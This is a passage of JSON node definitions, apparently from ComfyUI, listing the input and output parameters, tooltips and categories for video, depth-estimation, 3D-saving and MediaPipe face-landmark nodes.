"default": 0, "min": 0, "max": 16384, "step": 1}], "previous_frame_count": ["INT", {"tooltip": "Tail frames of previous_frames to anchor. SCAIL-2 trained at 5 (81-frame chunks, 76-frame step).", "default": 5, "min": 1, "max": 16384, "step": 4}]}, "optional": {"pose_video": ["IMAGE", {"tooltip": "Video used for pose conditioning. Will be downscaled to half the resolution of the main video."}], "pose_video_mask": ["IMAGE", {"tooltip": "SCAIL-2 only. Colored per-identity SAM3 mask video at the same resolution as pose_video."}], "replacement_mode": ["BOOLEAN", {"tooltip": "SCAIL-2 only. False = Animation Mode (pose_video_mask should have black background). True = Replacement Mode (pose_video_mask should have white background).", "default": false}], "reference_image": ["IMAGE", {"tooltip": "Reference image. The first image is the primary reference (composite all identities onto it). SCAIL-2: extra batch images are used as additional views (back view, close-up, occluded background), each needing a matching reference_image_mask in that identity's color."}], "reference_image_mask": ["IMAGE", {"tooltip": "SCAIL-2 only. Colored reference mask, batch matching reference_image (first = primary reference mask, rest = identity masks for the additional reference_image)."}], "clip_vision_output": ["CLIP_VISION_OUTPUT", {"tooltip": "CLIP vision features for conditioning. Model is trained with stretch resize to aspect ratio."}], "previous_frames": ["IMAGE", {"tooltip": "SCAIL-2 only. Full decoded output of the previous chunk. Only the last previous_frame_count are used as the extension anchor."}]}}, "input_order": {"required": ["positive", "negative", "vae", "width", "height", "length", "batch_size", "pose_strength", "pose_start", "pose_end", "video_frame_offset", "previous_frame_count"], "optional": ["pose_video", "pose_video_mask", "replacement_mode", "reference_image", "reference_image_mask", "clip_vision_output", "previous_frames"]}, "is_input_list": false, "output": ["CONDITIONING", "CONDITIONING", "LATENT", "INT"], "output_is_list": [false, false, false, false], "output_name": ["positive", "negative", "latent", "video_frame_offset"], "output_tooltips": [null, null, "Empty latent of the generation size.", "Adjusted offset + length. Wire into the next chunk."], "output_matchtypes": null, "name": "WanSCAILToVideo", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_scail", "category": "model/conditioning/wan/scail", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "SCAIL2ColoredMask": {"input": {"required": {"driving_track_data": ["SAM3_TRACK_DATA", {"tooltip": "SAM3 track of the driving pose video. Will be rendered into the pose_video_mask output."}], "object_indices": ["STRING", {"tooltip": "Comma-separated list of person indices to include (e.g. '0,2,3'). Applied to both reference and pose video masks. Empty = all.", "default": "", "multiline": false}], "sort_by": ["COMBO", {"tooltip": "Order in which palette colors are assigned to the tracked objects (applied to both reference and pose video so each identity keeps the same color). Objects that appear in earlier frames always come first; within a frame, left_to_right = leftmost object (by centroid at first appearance) gets the first color, area = biggest object (by mask area at first appearance) gets the first color; none = keep SAM3's order.", "default": "left_to_right", "multiselect": false, "options": ["none", "left_to_right", "area"]}], "replacement_mode": ["BOOLEAN", {"tooltip": "False = Animation Mode (pose_video_mask has black background, reference_image_mask has white background). True = Replacement Mode (pose_video_mask has white background, reference_image_mask has black background).", "default": false}]}, "optional": {"ref_track_data": ["SAM3_TRACK_DATA,MASK", {"display_name": "reference_masks", "tooltip": "SAM3 track of the reference image(s) (one identity per object, colored in batch order), or a plain MASK of the reference subject (rendered as a single identity)."}]}}, "input_order": {"required": ["driving_track_data", "object_indices", "sort_by", "replacement_mode"], "optional": ["ref_track_data"]}, "is_input_list": false, "output": ["IMAGE", "IMAGE"], "output_is_list": [false, false], "output_name": ["pose_video_mask", "reference_image_mask"], "output_tooltips": [null, null], "output_matchtypes": null, "name": "SCAIL2ColoredMask", "display_name": "Create SCAIL-2 Colored Mask", "description": "", "python_module": "comfy_extras.nodes_scail", "category": "model/conditioning/wan/scail", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "OpticalFlowLoader": {"input": {"required": {"model_name": ["COMBO", {"tooltip": "Optical flow model to load. Files must be placed in the 'optical_flow' folder. Today only torchvision's raft_large.pth is supported.", "multiselect": false, "options": []}]}}, "input_order": {"required": ["model_name"]}, "is_input_list": false, "output": ["OPTICAL_FLOW"], "output_is_list": [false], "output_name": ["OPTICAL_FLOW"], "output_tooltips": [null], "output_matchtypes": null, "name": "OpticalFlowLoader", "display_name": "Load Optical Flow Model", "description": "", "python_module": "comfy_extras.nodes_void", "category": "model/loaders", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "VOIDQuadmaskPreprocess": {"input": {"required": {"mask": ["MASK", {}], "dilate_width": ["INT", {"tooltip": "Dilation radius for the primary mask region (0 = no dilation)", "default": 0, "min": 0, "max": 50, "step": 1}]}}, "input_order": {"required": ["mask", "dilate_width"]}, "is_input_list": false, "output": ["MASK"], "output_is_list": [false], "output_name": ["quadmask"], "output_tooltips": [null], "output_matchtypes": null, "name": "VOIDQuadmaskPreprocess", "display_name": "VOID Quadmask Preprocessor", "description": "", "python_module": "comfy_extras.nodes_void", "category": "image/mask", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "VOIDInpaintConditioning": {"input": {"required": {"positive": ["CONDITIONING", {}], "negative": ["CONDITIONING", {}], "vae": ["VAE", {}], "video": ["IMAGE", {"tooltip": "Source video frames [T, H, W, 3]"}], "quadmask": ["MASK", {"tooltip": "Preprocessed quadmask from VOIDQuadmaskPreprocess [T, H, W]"}], "width": ["INT", {"default": 672, "min": 16, "max": 16384, "step": 8}], "height": ["INT", {"default": 384, "min": 16, "max": 16384, "step": 8}], "length": ["INT", {"tooltip": "Number of pixel frames to process. For CogVideoX-Fun-V1.5 (patch_size_t=2), latent_t must be even \u2014 lengths that produce odd latent_t are rounded down (e.g. 49 \u2192 45).", "default": 45, "min": 1, "max": 16384, "step": 1}], "batch_size": ["INT", {"default": 1, "min": 1, "max": 64}]}}, "input_order": {"required": ["positive", "negative", "vae", "video", "quadmask", "width", "height", "length", "batch_size"]}, "is_input_list": false, "output": ["CONDITIONING", "CONDITIONING", "LATENT"], "output_is_list": [false, false, false], "output_name": ["positive", "negative", "latent"], "output_tooltips": [null, null, null], "output_matchtypes": null, "name": "VOIDInpaintConditioning", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_void", "category": "model/conditioning/void", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "VOIDWarpedNoise": {"input": {"required": {"optical_flow": ["OPTICAL_FLOW", {"tooltip": "Optical flow model from OpticalFlowLoader (RAFT-large)."}], "video": ["IMAGE", {"tooltip": "Pass 1 output video frames [T, H, W, 3]"}], "width": ["INT", {"default": 672, "min": 16, "max": 16384, "step": 8}], "height": ["INT", {"default": 384, "min": 16, "max": 16384, "step": 8}], "length": ["INT", {"tooltip": "Number of pixel frames. Rounded down to make latent_t even (patch_size_t=2 requirement), e.g. 49 \u2192 45.", "default": 45, "min": 1, "max": 16384, "step": 1}], "batch_size": ["INT", {"default": 1, "min": 1, "max": 64}]}}, "input_order": {"required": ["optical_flow", "video", "width", "height", "length", "batch_size"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["warped_noise"], "output_tooltips": [null], "output_matchtypes": null, "name": "VOIDWarpedNoise", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_void", "category": "model/latent/void", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "VOIDWarpedNoiseSource": {"input": {"required": {"warped_noise": ["LATENT", {"tooltip": "Warped noise latent from VOIDWarpedNoise"}]}}, "input_order": {"required": ["warped_noise"]}, "is_input_list": false, "output": ["NOISE"], "output_is_list": [false], "output_name": ["NOISE"], "output_tooltips": [null], "output_matchtypes": null, "name": "VOIDWarpedNoiseSource", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_void", "category": "model/latent/void", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "VOIDSampler": {"input": {"required": {}}, "input_order": {"required": []}, "is_input_list": false, "output": ["SAMPLER"], "output_is_list": [false], "output_name": ["SAMPLER"], "output_tooltips": [null], "output_matchtypes": null, "name": "VOIDSampler", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_void", "category": "model/sampling/samplers", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "WanDancerVideo": {"input": {"required": {"positive": ["CONDITIONING", {}], "negative": ["CONDITIONING", {}], "vae": ["VAE", {}], "width": ["INT", {"default": 480, "min": 16, "max": 16384, "step": 16}], "height": ["INT", {"default": 832, "min": 16, "max": 16384, "step": 16}], "length": ["INT", {"tooltip": "The number of frames in the generated video. Should stay 149 for WanDancer.", "default": 149, "min": 1, "max": 16384, "step": 4}]}, "optional": {"clip_vision_output": ["CLIP_VISION_OUTPUT", {"tooltip": "The CLIP vision embeds for the first frame."}], "clip_vision_output_ref": ["CLIP_VISION_OUTPUT", {"tooltip": "The CLIP vision embeds for the reference image."}], "start_image": ["IMAGE", {"tooltip": "The initial image(s) to be encoded, can be any number of frames."}], "mask": ["MASK", {"tooltip": "Image conditioning mask for the start image(s). White is kept, black is generated. Used for the local generations."}], "audio_encoder_output": ["AUDIO_ENCODER_OUTPUT", {}]}}, "input_order": {"required": ["positive", "negative", "vae", "width", "height", "length"], "optional": ["clip_vision_output", "clip_vision_output_ref", "start_image", "mask", "audio_encoder_output"]}, "is_input_list": false, "output": ["CONDITIONING", "CONDITIONING", "LATENT"], "output_is_list": [false, false, false], "output_name": ["positive", "negative", "latent"], "output_tooltips": [null, null, "Empty latent."], "output_matchtypes": null, "name": "WanDancerVideo", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_wandancer", "category": "model/conditioning/wan/dancer", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "WanDancerEncodeAudio": {"input": {"required": {"audio": ["AUDIO", {}], "video_frames": ["INT", {"default": 149, "min": 1, "max": 16384, "step": 4}], "audio_inject_scale": ["FLOAT", {"tooltip": "The scale for the audio features when injected into the video model.", "default": 1.0, "min": 0.0, "max": 10.0, "step": 0.01}]}}, "input_order": {"required": ["audio", "video_frames", "audio_inject_scale"]}, "is_input_list": false, "output": ["AUDIO_ENCODER_OUTPUT", "STRING"], "output_is_list": [false, false], "output_name": ["audio_encoder_output", "fps_string"], "output_tooltips": [null, "The calculated fps based on the audio length and the number of video frames. Used in the prompt."], "output_matchtypes": null, "name": "WanDancerEncodeAudio", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_wandancer", "category": "model/conditioning/wan/dancer", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "WanDancerPadKeyframes": {"input": {"required": {"images": ["IMAGE", {}], "segment_length": ["INT", {"tooltip": "Length of this segment (usually 149 frames)", "default": 149, "min": 1, "max": 10000}], "segment_index": ["INT", {"tooltip": "Which segment this is (0 for first, 1 for second, etc.)", "default": 0, "min": 0, "max": 100}], "audio": ["AUDIO", {"tooltip": "Audio to calculate total output frames from and extract segment audio."}]}}, "input_order": {"required": ["images", "segment_length", "segment_index", "audio"]}, "is_input_list": false, "output": ["IMAGE", "MASK", "AUDIO"], "output_is_list": [false, false, false], "output_name": ["keyframes_sequence", "keyframes_mask", "audio_segment"], "output_tooltips": ["Padded keyframe sequence", "Mask indicating valid frames", "Audio segment for this video segment"], "output_matchtypes": null, "name": "WanDancerPadKeyframes", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_wandancer", "category": "image/video", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "WanDancerPadKeyframesList": {"input": {"required": {"images": ["IMAGE", {}], "segment_length": ["INT", {"tooltip": "Length of each segment (usually 149 frames)", "default": 149, "min": 1, "max": 10000}], "num_segments": ["INT", {"tooltip": "How many padded segments to emit as lists.", "default": 1, "min": 1, "max": 100}], "audio": ["AUDIO", {"tooltip": "Audio to slice for each emitted segment."}]}}, "input_order": {"required": ["images", "segment_length", "num_segments", "audio"]}, "is_input_list": false, "output": ["IMAGE", "MASK", "AUDIO"], "output_is_list": [true, true, true], "output_name": ["keyframes_sequence", "keyframes_mask", "audio_segment"], "output_tooltips": ["Padded keyframe sequences", "Masks indicating valid frames", "Audio segment for each video segment"], "output_matchtypes": null, "name": "WanDancerPadKeyframesList", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_wandancer", "category": "image/video", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "EmptyHiDreamO1LatentImage": {"input": {"required": {"width": ["INT", {"default": 2048, "min": 64, "max": 4096, "step": 32}], "height": ["INT", {"default": 2048, "min": 64, "max": 4096, "step": 32}], "batch_size": ["INT", {"default": 1, "min": 1, "max": 64}]}}, "input_order": {"required": ["width", "height", "batch_size"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["LATENT"], "output_tooltips": [null], "output_matchtypes": null, "name": "EmptyHiDreamO1LatentImage", "display_name": "Empty HiDream-O1 Latent Image", "description": "Empty pixel-space latent for HiDream-O1-Image. The model was trained at ~4 megapixels; lower resolutions go off-distribution and quality regresses noticeably. Trained resolutions: 2048x2048, 2304x1728, 1728x2304, 2560x1440, 1440x2560, 2496x1664, 1664x2496, 3104x1312, 1312x3104, 2304x1792, 1792x2304.", "python_module": "comfy_extras.nodes_hidream_o1", "category": "model/latent/hidream", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "HiDreamO1ReferenceImages": {"input": {"required": {"positive": ["CONDITIONING", {}], "negative": ["CONDITIONING", {}], "images": ["COMFY_AUTOGROW_V3", {"tooltip": "Reference images. 1 image = instruction edit; 2-10 images = multi reference.", "template": {"input": {"required": {"image": ["IMAGE", {}]}}, "names": ["image_1", "image_2", "image_3", "image_4", "image_5", "image_6", "image_7", "image_8", "image_9", "image_10"], "min": 1}}]}}, "input_order": {"required": ["positive", "negative", "images"]}, "is_input_list": false, "output": ["CONDITIONING", "CONDITIONING"], "output_is_list": [false, false], "output_name": ["positive", "negative"], "output_tooltips": [null, null], "output_matchtypes": null, "name": "HiDreamO1ReferenceImages", "display_name": "HiDream-O1 Reference Images", "description": "Attach 1-10 reference images to conditioning, one for edit instructionor multiple for subject-driven personalization.", "python_module": "comfy_extras.nodes_hidream_o1", "category": "model/conditioning/hidream", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "HiDreamO1PatchSeamSmoothing": {"input": {"required": {"model": ["MODEL", {}], "start_percent": ["FLOAT", {"tooltip": "Sampling progress (0=start, 1=end) at which the blend turns ON.", "default": 0.8, "min": 0.0, "max": 1.0, "step": 0.01}], "end_percent": ["FLOAT", {"tooltip": "Sampling progress at which the blend turns OFF.", "default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "pattern": ["COMBO", {"tooltip": "Shift layout. single_shift: one pass at the natural patch grid + others offset. symmetric: all passes off-grid, shifts split around origin.", "default": "single_shift", "multiselect": false, "options": ["single_shift", "symmetric"]}], "passes": ["COMBO", {"tooltip": "Number of passes per gated step. 2/4 = fixed. ramp_*: pass count increases as sampling approaches end (more smoothing where seams are most visible).", "default": "2", "multiselect": false, "options": ["2", "4", "ramp_2_4", "ramp_2_4_8"]}], "blend": ["COMBO", {"tooltip": "average: equal-weight mean. window: Hann-windowed weighting favoring each pass away from its patch boundaries. median: per-pixel median, rejects wraparound-outlier passes.", "default": "average", "multiselect": false, "options": ["average", "window", "median"]}], "strength": ["FLOAT", {"tooltip": "Interpolation between the natural-grid pred (0) and the averaged result (1).", "default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}]}}, "input_order": {"required": ["model", "start_percent", "end_percent", "pattern", "passes", "blend", "strength"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "output_tooltips": [null], "output_matchtypes": null, "name": "HiDreamO1PatchSeamSmoothing", "display_name": "HiDream-O1 Patch Seam Smoothing", "description": "Average the model output across multiple shifted patch-grid positions during the late portion of sampling. Cancels seams.", "python_module": "comfy_extras.nodes_hidream_o1", "category": "model/patch/hidream", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "SaveGLB": {"input": {"required": {"mesh": ["MESH,FILE_3D_GLB,FILE_3D_GLTF,FILE_3D_OBJ,FILE_3D_FBX,FILE_3D_STL,FILE_3D_USDZ,FILE_3D_PLY,FILE_3D_SPLAT,FILE_3D_SPZ,FILE_3D_KSPLAT,FILE_3D_SPLAT_ANY,FILE_3D_POINT_CLOUD_ANY,FILE_3D", {"tooltip": "Mesh or 3D file to save"}], "filename_prefix": ["STRING", {"default": "3d/ComfyUI", "multiline": false}]}, "hidden": {"prompt": ["PROMPT"], "extra_pnginfo": ["EXTRA_PNGINFO"]}}, "input_order": {"required": ["mesh", "filename_prefix"], "hidden": ["prompt", "extra_pnginfo"]}, "is_input_list": false, "output": [], "output_is_list": [], "output_name": [], "output_tooltips": [], "output_matchtypes": null, "name": "SaveGLB", "display_name": "Save 3D Model", "description": "", "python_module": "comfy_extras.nodes_save_3d", "category": "3d", "output_node": true, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["export 3d model", "save mesh"], "essentials_category": "Basics", "has_intermediate_output": false}, "LoadMoGeModel": {"input": {"required": {"model_name": ["COMBO", {"multiselect": false, "options": []}]}}, "input_order": {"required": ["model_name"]}, "is_input_list": false, "output": ["MOGE_MODEL"], "output_is_list": [false], "output_name": ["MOGE_MODEL"], "output_tooltips": [null], "output_matchtypes": null, "name": "LoadMoGeModel", "display_name": "Load MoGe Model", "description": "", "python_module": "comfy_extras.nodes_moge", "category": "model/loaders", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "MoGeInference": {"input": {"required": {"moge_model": ["MOGE_MODEL", {}], "image": ["IMAGE", {}], "resolution_level": ["INT", {"tooltip": "0 = fastest, 9 = most detail.", "default": 9, "min": 0, "max": 9}], "fov_x_degrees": ["FLOAT", {"tooltip": "Horizontal field of view of the source camera. Sets the focal length used to unproject the depth map into 3D. 0 = auto-recover from the predicted points.", "advanced": true, "default": 0.0, "min": 0.0, "max": 170.0, "step": 0.1}], "batch_size": ["INT", {"tooltip": "Images per inference call. Lower if you OOM on a long video / image set.", "default": 4, "min": 1, "max": 64}], "force_projection": ["BOOLEAN", {"advanced": true, "default": true}], "apply_mask": ["BOOLEAN", {"tooltip": "Set masked-out (sky / invalid) pixels to inf in points and depth so meshing culls them. Disable to keep the raw predicted geometry everywhere; the mask is still returned separately.", "advanced": true, "default": true}]}}, "input_order": {"required": ["moge_model", "image", "resolution_level", "fov_x_degrees", "batch_size", "force_projection", "apply_mask"]}, "is_input_list": false, "output": ["MOGE_GEOMETRY"], "output_is_list": [false], "output_name": ["moge_geometry"], "output_tooltips": [null], "output_matchtypes": null, "name": "MoGeInference", "display_name": "Run MoGe Inference", "description": "Run MoGe on a single image to estimate depth and geometry.", "python_module": "comfy_extras.nodes_moge", "category": "image/geometry estimation", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["moge", "depth", "geometry", "depth estimation", "geometry estimation"], "essentials_category": null, "has_intermediate_output": false}, "MoGePanoramaInference": {"input": {"required": {"moge_model": ["MOGE_MODEL", {}], "image": ["IMAGE", {"tooltip": "Equirectangular panorama (any aspect)."}], "resolution_level": ["INT", {"tooltip": "Per-view detail (0 = fastest, 9 = most detailed).", "default": 9, "min": 0, "max": 9}], "split_resolution": ["INT", {"tooltip": "Resolution of each perspective split.", "default": 512, "min": 256, "max": 1024}], "merge_resolution": ["INT", {"tooltip": "Long-side resolution of the merged equirect distance map.", "default": 1920, "min": 256, "max": 8192}], "batch_size": ["INT", {"tooltip": "Views per inference batch (12 splits total).", "default": 4, "min": 1, "max": 12}]}}, "input_order": {"required": ["moge_model", "image", "resolution_level", "split_resolution", "merge_resolution", "batch_size"]}, "is_input_list": false, "output": ["MOGE_GEOMETRY"], "output_is_list": [false], "output_name": ["moge_geometry"], "output_tooltips": [null], "output_matchtypes": null, "name": "MoGePanoramaInference", "display_name": "Run MoGe Panorama Inference", "description": "Run MoGe on an equirectangular panorama by splitting it into 12 perspective views, running inference on each, and merging the results into a single depth map.", "python_module": "comfy_extras.nodes_moge", "category": "image/geometry estimation", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["moge", "panorama", "depth", "geometry", "depth estimation", "geometry estimation"], "essentials_category": null, "has_intermediate_output": false}, "MoGeRender": {"input": {"required": {"moge_geometry": ["MOGE_GEOMETRY", {}], "output": ["COMBO", {"tooltip": "DirectX vs OpenGL controls the normal-map green-channel convention. DirectX: green = -Y down (Unreal). OpenGL: green = +Y up (Blender, Substance, Unity, glTF).", "default": "depth", "multiselect": false, "options": ["depth", "depth_colored", "normal_opengl", "normal_directx", "mask"]}]}}, "input_order": {"required": ["moge_geometry", "output"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "MoGeRender", "display_name": "Render MoGe Geometry", "description": "Render a depth map or normal map from geometry data", "python_module": "comfy_extras.nodes_moge", "category": "image/geometry estimation", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["moge", "render", "geometry", "depth", "normal"], "essentials_category": null, "has_intermediate_output": false}, "MoGePointMapToMesh": {"input": {"required": {"moge_geometry": ["MOGE_GEOMETRY", {}], "batch_index": ["INT", {"tooltip": "Which image of a batched MoGe geometry to mesh. Per-image vertex counts differ, so batches can't be stacked into a single MESH.", "default": 0, "min": 0, "max": 4096}], "decimation": ["INT", {"tooltip": "Vertex stride; 1 = full resolution.", "default": 1, "min": 1, "max": 8}], "discontinuity_threshold": ["FLOAT", {"tooltip": "Drop pixels whose 3x3 depth span exceeds this fraction. 0 = off.", "default": 0.04, "min": 0.0, "max": 1.0, "step": 0.01}], "texture": ["BOOLEAN", {"tooltip": "Carry the source image through as the baseColor texture.", "default": true}]}}, "input_order": {"required": ["moge_geometry", "batch_index", "decimation", "discontinuity_threshold", "texture"]}, "is_input_list": false, "output": ["MESH"], "output_is_list": [false], "output_name": ["MESH"], "output_tooltips": [null], "output_matchtypes": null, "name": "MoGePointMapToMesh", "display_name": "Convert MoGe Point Map to Mesh", "description": "Convert a MoGe point map into a 3D mesh.", "python_module": "comfy_extras.nodes_moge", "category": "image/geometry estimation", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["moge", "mesh", "geometry", "point map"], "essentials_category": null, "has_intermediate_output": false}, "LoadMediaPipeFaceLandmarker": {"input": {"required": {"model_name": ["COMBO", {"tooltip": "Face detection model from models/detection/.", "multiselect": false, "options": []}]}}, "input_order": {"required": ["model_name"]}, "is_input_list": false, "output": ["FACE_DETECTION_MODEL"], "output_is_list": [false], "output_name": ["FACE_DETECTION_MODEL"], "output_tooltips": [null], "output_matchtypes": null, "name": "LoadMediaPipeFaceLandmarker", "display_name": "Load Face Detection Model (MediaPipe)", "description": "", "python_module": "comfy_extras.nodes_mediapipe", "category": "model/loaders", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["face", "facial", "mediapipe", "face landmark", "face mesh", "blazeface", "face detection"], "essentials_category": null, "has_intermediate_output": false}, "MediaPipeFaceLandmarker": {"input": {"required": {"face_detection_model": ["FACE_DETECTION_MODEL", {}], "image": ["IMAGE", {}], "detector_variant": ["COMBO", {"tooltip": "Face detector range. 'short' is tuned for close-up faces (within ~2 m of the camera); 'full' covers farther / smaller faces (up to ~5 m) but is slower. 'both' runs both detectors and keeps whichever found more faces per frame (~2\u00d7 detection cost).", "default": "short", "multiselect": false, "options": ["short", "full", "both"]}], "num_faces": ["INT", {"tooltip": "Maximum faces to return per frame. 0 = no cap (return all detected).", "default": 1, "min": 0, "max": 16, "step": 1}], "min_confidence": ["FLOAT", {"tooltip": "BlazeFace score threshold. Lower to catch small/occluded faces.", "advanced": true, "default": 0.5, "min": 0.0, "max": 1.0, "step": 0.01}], "missing_frame_fallback": ["COMBO", {"tooltip": "Per-frame behaviour when detection fails in a batch. 'empty' leaves the frame faceless. 'previous' copies the most recent successful detection. 'interpolate' lerps landmarks/bbox/blendshapes between bracketing successful frames. Multi-face: pairs faces across frames by greedy bbox-centre NN.", "advanced": true, "default": "empty", "multiselect": false, "options": ["empty", "previous", "interpolate"]}]}}, "input_order": {"required": ["face_detection_model", "image", "detector_variant", "num_faces", "min_confidence", "missing_frame_fallback"]}, "is_input_list": false, "output": ["FACE_LANDMARKS", "BOUNDING_BOX"], "output_is_list": [false, false], "output_name": ["face_landmarks", "bboxes"], "output_tooltips": [null, null], "output_matchtypes": null, "name": "MediaPipeFaceLandmarker", "display_name": "Detect Face Landmarks (MediaPipe)", "description": "Detects facial landmarks using MediaPipe model.", "python_module": "comfy_extras.nodes_mediapipe", "category": "image/detection", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["face", "facial", "mediapipe", "face landmark", "face mesh", "blazeface", "face detection"], "essentials_category": null, "has_intermediate_output": false}, "MediaPipeFaceMeshVisualize": {"input": {"required": {"face_landmarks": ["FACE_LANDMARKS", {}], "connections": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "'all' = oval+eyes+brows+lips+irises+nose. 'fill' = solid face_oval polygon (silhouette mask). 'custom' = toggle each feature individually (including 'tesselation', the full 2547-edge wireframe).", "options": [{"key": "all", "inputs": {"required": {}}}, {"key": "fill", "inputs": {"required": {}}}, {"key": "custom", "inputs": {"required": {"face_oval": ["BOOLEAN", {"tooltip": "Draw the 'face_oval' connection set.", "default": true}], "lips": ["BOOLEAN", {"tooltip": "Draw the 'lips' connection set.", "default": true}], "left_eye": ["BOOLEAN", {"tooltip": "Draw the 'left_eye' connection set.", "default": true}], "right_eye": ["BOOLEAN", {"tooltip": "Draw the 'right_eye' connection set.", "default": true}], "left_eyebrow": ["BOOLEAN", {"tooltip": "Draw the 'left_eyebrow' connection set.", "default": true}], "right_eyebrow": ["BOOLEAN", {"tooltip": "Draw the 'right_eyebrow' connection set.", "default": true}], "irises": ["BOOLEAN", {"tooltip": "Draw the 'irises' connection set.", "default": true}], "nose": ["BOOLEAN", {"tooltip": "Draw the 'nose' connection set.", "default": true}], "tesselation": ["BOOLEAN", {"tooltip": "Draw the 'tesselation' connection set.", "default": false}]}}}]}], "color": ["COLOR", {"default": "#00ff00", "socketless": true}], "thickness": ["INT", {"tooltip": "Edge line thickness in pixels. 0 disables edge drawing.", "default": 1, "min": 0, "max": 8, "step": 1}], "point_size": ["INT", {"tooltip": "Landmark dot radius in pixels. 0 disables point drawing.", "default": 2, "min": 0, "max": 16, "step": 1}]}, "optional": {"image": ["IMAGE", {"tooltip": "If not connected, a black canvas will be used."}]}}, "input_order": {"required": ["face_landmarks", "connections", "color", "thickness", "point_size"], "optional": ["image"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "MediaPipeFaceMeshVisualize", "display_name": "Visualize Face Landmarks (MediaPipe)", "description": "Draws face landmarks mesh on the input image.", "python_module": "comfy_extras.nodes_mediapipe", "category": "image/detection", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["face", "facial", "mediapipe", "face landmark", "face mesh", "blazeface", "face detection", "visualize"], "essentials_category": null, "has_intermediate_output": false}, "MediaPipeFaceMask": {"input": {"required": {"face_landmarks": ["FACE_LANDMARKS", {}], "regions": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "'all' = union of face_oval+lips+eyes+irises (which collapses to face_oval since it encloses the rest). 'custom' = toggle each region individually for combos like lips+eyes.", "options": [{"key": "all", "inputs": {"required": {}}}, {"key": "custom", "inputs": {"required": {"face_oval": ["BOOLEAN", {"tooltip": "Include the 'face_oval' region in the mask.", "default": true}], "lips": ["BOOLEAN", {"tooltip": "Include the 'lips' region in the mask.", "default": false}], "left_eye": ["BOOLEAN", {"tooltip": "Include the 'left_eye' region in the mask.", "default": false}], "right_eye": ["BOOLEAN", {"tooltip": "Include the 'right_eye' region in the mask.", "default": false}], "irises": ["BOOLEAN", {"tooltip": "Include the 'irises' region in the mask.", "default": false}]}}}]}]}}, "input_order": {"required": ["face_landmarks", "regions"]}, "is_input_list": false, "output": ["MASK"], "output_is_list": [false], "output_name": ["MASK"], "output_tooltips": [null], "output_matchtypes": null, "name": "MediaPipeFaceMask", "display_name": "Draw Face Mask (MediaPipe)", "description": "Draws a mask from face landmarks.", "python_module": 